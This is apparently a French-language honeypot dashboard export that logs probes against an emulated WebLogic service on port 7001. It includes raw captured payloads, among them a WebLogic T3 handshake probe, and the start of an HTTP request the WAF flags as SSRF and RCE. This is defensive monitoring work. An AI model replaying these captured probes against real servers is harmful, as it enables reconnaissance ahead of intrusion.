"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e46fe9ca8ebf3235f7bb6bcee468d6a64fa3675e",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003b\ufffd\u0012B\ufffd^\n\ufffd6\u0003\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\u0001\ufffd\ufffd\ufffdm\ufffd\ufffdiw\u0010 \u0007P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\u0015\ufffd@4y\ufffd\ufffd\ufffd\ufffd\u0004\ufffd\r\ufffd\u001b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdb\ufffdB\ufffd^\n\ufffd6\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\ufffd\ufffd\ufffdm\ufffd\ufffdiw P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\ufffd@4y\ufffd\ufffd\ufffd\ufffd\ufffd\r\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003b\ufffd\u0012B\ufffd^\n\ufffd6\u0003\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\u0001\ufffd\ufffd\ufffdm\ufffd\ufffdiw\u0010 \u0007P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\u0015\ufffd@4y\ufffd\ufffd\ufffd\ufffd\u0004\ufffd\r\ufffd\u001b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdb\ufffdB\ufffd^\n\ufffd6\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\ufffd\ufffd\ufffdm\ufffd\ufffdiw P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\ufffd@4y\ufffd\ufffd\ufffd\ufffd\ufffd\r\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:42 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
� $%h"��.��gf#\�[x��~��J� �� �� ~�^49�e0C ��:ߏ+7������d� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�
$%h"��.��gf#\�[x��~��J� �� �� ~�^49�e0C
��:ߏ+7������d� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
� $%h"��.��gf#\�[x��~��J� �� �� ~�^49�e0C ��:ߏ+7������d� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9163748999858736,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c84f5943272079107c34b58e29fc6e11",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\r$%h\"\u0014\ufffd\ufffd\b.\ufffd\u001a\ufffdgf#\\\ufffd[x\ufffd\ufffd\u0018~\ufffd\ufffdJ\ufffd\f\ufffd\ufffd \ufffd\ufffd\u0000~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\u0017\ufffd\ufffd\u001a\ufffd\ufffd\ufffd\ufffd\u0015d\u0019\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\r$%h\"\u0014\ufffd\ufffd\b.\ufffd\u001a\ufffdgf#\\\ufffd[x\ufffd\ufffd\u0018~\ufffd\ufffdJ\ufffd\f\ufffd\ufffd \ufffd\ufffd\u0000~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\u0017\ufffd\ufffd\u001a\ufffd\ufffd\ufffd\ufffd\u0015d\u0019\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\r$%h\"\u0014\ufffd\ufffd\b.\ufffd\u001a\ufffdgf#\\\ufffd[x\ufffd\ufffd\u0018~\ufffd\ufffdJ\ufffd\f\ufffd\ufffd \ufffd\ufffd\u0000~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\u0017\ufffd\ufffd\u001a\ufffd\ufffd\ufffd\ufffd\u0015d\u0019\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "587fc1776396763ee933a42eefc674f5e64c743f",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\r$%h\"\u0014\ufffd\ufffd\b.\ufffd\u001a\ufffdgf#\\\ufffd[x\ufffd\ufffd\u0018~\ufffd\ufffdJ\ufffd\f\ufffd\ufffd \ufffd\ufffd\u0000~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\u0017\ufffd\ufffd\u001a\ufffd\ufffd\ufffd\ufffd\u0015d\u0019\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\r$%h\"\ufffd\ufffd.\ufffd\ufffdgf#\\\ufffd[x\ufffd\ufffd~\ufffd\ufffdJ\ufffd\ufffd\ufffd \ufffd\ufffd~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\r$%h\"\u0014\ufffd\ufffd\b.\ufffd\u001a\ufffdgf#\\\ufffd[x\ufffd\ufffd\u0018~\ufffd\ufffdJ\ufffd\f\ufffd\ufffd \ufffd\ufffd\u0000~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\u0017\ufffd\ufffd\u001a\ufffd\ufffd\ufffd\ufffd\u0015d\u0019\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\r$%h\"\ufffd\ufffd.\ufffd\ufffdgf#\\\ufffd[x\ufffd\ufffd~\ufffd\ufffdJ\ufffd\ufffd\ufffd \ufffd\ufffd~\ufffd^49\ufffde0C\n\ufffd\ufffd:\u07cf+7\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:42 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e3f6e61b0b8db97e25e9ab89dd9892388baf41d0",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:38:41 UTC
TCP
7001 · HTTP
SSRF interne
ssrf internal · via HTTP:7001 · (tentative d'exploit)
Élevée
Moyen · 61
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
46
Recommandation
Investiguer
Tags
950325:rce-0
950326:rce-0
950401:ssrf-2
950405:ssrf-3
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
